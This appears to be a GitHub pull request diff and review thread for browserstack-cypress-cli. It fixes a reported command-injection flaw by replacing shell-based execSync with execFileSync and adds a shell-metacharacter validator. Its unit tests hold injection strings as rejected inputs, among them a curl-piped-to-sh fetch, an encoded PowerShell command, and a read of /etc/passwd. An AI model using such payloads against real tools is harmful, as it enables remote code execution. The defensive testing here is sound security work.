Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
48 changes: 42 additions & 6 deletions bin/helpers/readCypressConfigUtil.js
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,26 @@ const constants = require("./constants");
const utils = require("./utils");
const logger = require('./logger').winstonLogger;

// Defense-in-depth: reject file paths containing shell metacharacters.
// This guards against command injection even if execFileSync is ever
// replaced with a shell-based exec in the future.
//
// Note: backslash (\) is intentionally NOT included here because it is a
// legitimate path separator on Windows (e.g. C:\Users\me\cypress.config.js).
// The actual security boundary is execFileSync (no shell), not this regex.
const DANGEROUS_PATH_CHARS = /[;"`$|&(){}]/;
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, the ask was to do input validation on all the parameters which we take input on. Can we ask claude to check and implement the same?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call — this should be a CLI-wide sweep, not just cypress_config_file. Doing it in this PR would balloon scope and delay the H1 fix, so opening a follow-up ticket linked to APS-18613.

Notable parallel vector I'll prioritize first: convertTsConfig in this same file still uses cp.execSync(tscCommand) with bstack_node_modules_path interpolated as a shell prefix — literal same-shape bug as the loadJsFile one. Will fix that + audit the rest of the CLI for similar patterns.

Follow-up Jira: APS-18981 — Input validation sweep across browserstack-cypress-cli.


function validateFilePath(filepath) {
if (DANGEROUS_PATH_CHARS.test(filepath)) {
throw new Error(
`Invalid cypress config file path: "${filepath}" contains disallowed characters. ` +
'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { }'
);
}
}

exports.validateFilePath = validateFilePath;

exports.detectLanguage = (cypress_config_filename) => {
const extension = cypress_config_filename.split('.').pop()
return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js'
Expand Down Expand Up @@ -186,13 +206,29 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module
}

exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => {
const require_module_helper_path = path.join(__dirname, 'requireModule.js')
let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"`
if (/^win/.test(process.platform)) {
load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"`
// Security: validate file path to reject shell metacharacters (defense-in-depth)
validateFilePath(cypress_config_filepath);

// UX: surface a clear error if the cypress config file is missing.
// (This is purely a UX check — the security boundary is execFileSync above
// plus the metacharacter regex; existsSync alone would NOT prevent injection.)
if (!fs.existsSync(cypress_config_filepath)) {
throw new Error(`Cypress config file not found at: ${cypress_config_filepath}`);
}
logger.debug(`Running: ${load_command}`)
cp.execSync(load_command)

const require_module_helper_path = path.join(__dirname, 'requireModule.js')

// Security fix: use execFileSync instead of execSync to avoid shell interpolation.
// execFileSync spawns the process directly without a shell, so user-controlled
// values in cypress_config_filepath cannot break out into shell commands.
const execOptions = {
env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
};
const args = [require_module_helper_path, cypress_config_filepath];

logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`);
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How are we setting env vars?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Env vars are now passed through execFileSync's env option instead of the old shell-prefix approach (NODE_PATH=... node ... on Unix, set NODE_PATH=...&& on Windows). This is the safer cross-platform path — no shell interpolation needed, and the child process gets a clean inherited environment with NODE_PATH overridden:

const execOptions = {
    env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
};
const args = [require_module_helper_path, cypress_config_filepath];
cp.execFileSync('node', args, execOptions);

Verified end-to-end with a shim that prints process.env.NODE_PATH from the child: when called with bstack_node_modules_path = '/expected/test/path/aps-18613-marker', the child's process.env.NODE_PATH is exactly that value. Process tree on macOS confirms only node is spawned (no sh/bash/cmd/powershell):

2594  2573 node -e ...loadJsFile(path.resolve('cypress.config.js'), '/test/np')
2656  2594 node /.../requireModule.js /.../cypress.config.js

So the parent CLI process spawns node directly, which then receives the env via the inherited environment — equivalent semantically to the old shell-prefix but without any shell parsing surface area.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Don't want to modify the existing logic, just validation should suffice.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wanted to lay out the rationale before reverting, because this isn't a stylistic refactor — it's the load-bearing security control:

execFileSync is the actual fix; the regex is hardening. In our extended Windows validation (#issuecomment-4333011662 → E10), we commented out validateFilePath() entirely and replayed the HackerOne payload on a real Win11 host. execFileSync('node', [args]) blocked the RCE (returned MODULE_NOT_FOUND, no powershell.exe spawn) because no shell parses the args. With regex-only validation, any future bypass — Unicode normalization, a missed metachar, an encoding edge case — re-opens the RCE path.

The change is minimal and semantics-preserving:

- cp.execSync(`NODE_PATH="${p}" node "${helper}" "${cfg}"`)        // Unix
- cp.execSync(`set NODE_PATH=${p}&& node "${helper}" "${cfg}"`)    // Windows
+ cp.execFileSync('node', [helper, cfg], { env: {...process.env, NODE_PATH: p} })

Same node child, same NODE_PATH override — no shell, no platform branch.

Confidence — what we've validated directly on dev-test-cypress-003-ec2-euc1a-stag.bsstag.com (real Win11 release host) using a Windows-built tarball running prod BrowserStack sessions:

  • 4/4 path-acceptance BS prod builds passed (relative, absolute-with-backslashes, path-with-spaces, .\path) — verified via bs_api_build_sessions
  • 6/6 metachar payloads blocked + H1 PoC blocked
  • Process tree: only node→node (no cmd.exe/powershell.exe child)
  • NODE_PATH propagation correct via env option (verified with shim)
  • Unit suites Δ on Windows: fix 666p/25f vs master 650p/26f → +16 pass / -1 fail, 0 fix-only failures
  • cy.task / cy.exec smoke session: done ~156s

Where my confidence isn't 100%:

  • E2 (full TypeScript config E2E flow) — the build was created on BS but the runner went down before final session-status capture; partial evidence only
  • We did not run the team's standard QA AutomateFrameworksTests regression that's part of the Cypress release process (Stage 5 in the release doc)

Suggested path: run this PR through the QA AutomateFrameworksTests job (with CYPRESS_TEST_SUITE_TYPE=cypressJS_10_above, CYPRESS_SPECS=basic_spec) before merge, on at least one Mac + one Windows terminal — that gives us the regression-grade signal the release process expects. Happy to coordinate with QA on this.

If after the regression you still prefer regex-only, I'll revert to execSync — but the regression run would let us make the call with full data instead of trading away defense-in-depth on a hunch. Picking up your other comment (input validation on all params) in a follow-up PR linked to APS-18613.

cp.execFileSync('node', args, execOptions);

const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString())
if (fs.existsSync(config.configJsonFileName)) {
fs.unlinkSync(config.configJsonFileName)
Expand Down
119 changes: 109 additions & 10 deletions test/unit/bin/helpers/readCypressConfigUtil.js
Original file line number Diff line number Diff line change
Expand Up @@ -40,26 +40,83 @@ describe("readCypressConfigUtil", () => {
});
});

describe('validateFilePath', () => {
it('should accept a normal file path', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw();
});

it('should accept paths with spaces', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw();
});

it('should accept Windows absolute paths with backslashes', () => {
expect(() => readCypressConfigUtil.validateFilePath('C:\\Users\\test\\cypress.config.js')).to.not.throw();
});

it('should accept Windows absolute paths with spaces and backslashes (Program Files)', () => {
expect(() => readCypressConfigUtil.validateFilePath('C:\\Program Files\\my app\\cypress.config.js')).to.not.throw();
});

it('should accept Windows relative paths with backslashes', () => {
expect(() => readCypressConfigUtil.validateFilePath('.\\subdir\\cypress.config.js')).to.not.throw();
});

it('should accept UNC-style Windows paths', () => {
expect(() => readCypressConfigUtil.validateFilePath('\\\\server\\share\\cypress.config.js')).to.not.throw();
});

it('should reject paths with semicolons (command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with ampersands (Windows command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with backticks (subshell injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with dollar signs (variable expansion)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with pipe characters', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd'))
.to.throw(/disallowed characters/);
});
});

describe('loadJsFile', () => {
it('should load js file', () => {
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
it('should load js file using execFileSync', () => {
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
const requireModulePath = path.join(__dirname, '../../../../', 'bin', 'helpers', 'requireModule.js');

const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');

expect(result).to.eql({ e2e: {} });
sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`);
// Verify execFileSync is called with 'node' as first arg and array of args
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
// Verify NODE_PATH is passed via env option
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
sinon.assert.calledOnce(existsSyncStub);
// existsSync is now called twice: once for the file-not-found UX check, once for the unlink cleanup
sinon.assert.calledTwice(existsSyncStub);
});

it('should load js file for win', () => {
it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => {
sinon.stub(process, 'platform').value('win32');
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
Expand All @@ -68,10 +125,52 @@ describe("readCypressConfigUtil", () => {
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');

expect(result).to.eql({ e2e: {} });
sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`);
// Same call signature on Windows - execFileSync handles cross-platform
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
sinon.assert.calledOnce(existsSyncStub);
// existsSync called twice: file-not-found UX check + unlink cleanup
sinon.assert.calledTwice(existsSyncStub);
});

it('should accept Windows-style absolute paths in loadJsFile (no rejection)', () => {
sandbox.stub(cp, "execFileSync").returns("random string");
sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
sandbox.stub(fs, 'existsSync').returns(true);
sandbox.stub(fs, 'unlinkSync');

// None of these should throw
expect(() => readCypressConfigUtil.loadJsFile('C:\\Users\\test\\cypress.config.js', 'path/to/tmpBstackPackages'))
.to.not.throw();
expect(() => readCypressConfigUtil.loadJsFile('C:\\Program Files\\my app\\cypress.config.js', 'path/to/tmpBstackPackages'))
.to.not.throw();
expect(() => readCypressConfigUtil.loadJsFile('.\\subdir\\cypress.config.js', 'path/to/tmpBstackPackages'))
.to.not.throw();
});

it('should throw a clear error when the cypress config file does not exist (UX)', () => {
sandbox.stub(fs, 'existsSync').returns(false);
const execFileStub = sandbox.stub(cp, "execFileSync");

expect(() => readCypressConfigUtil.loadJsFile('path/to/missing/cypress.config.js', 'path/to/tmpBstackPackages'))
.to.throw(/Cypress config file not found at:/);
// execFileSync must NOT be invoked when the file is missing
sinon.assert.notCalled(execFileStub);
});

it('should reject file paths containing command injection characters', () => {
const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});

it('should reject Windows command injection payloads', () => {
const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});
});

Expand Down
Loading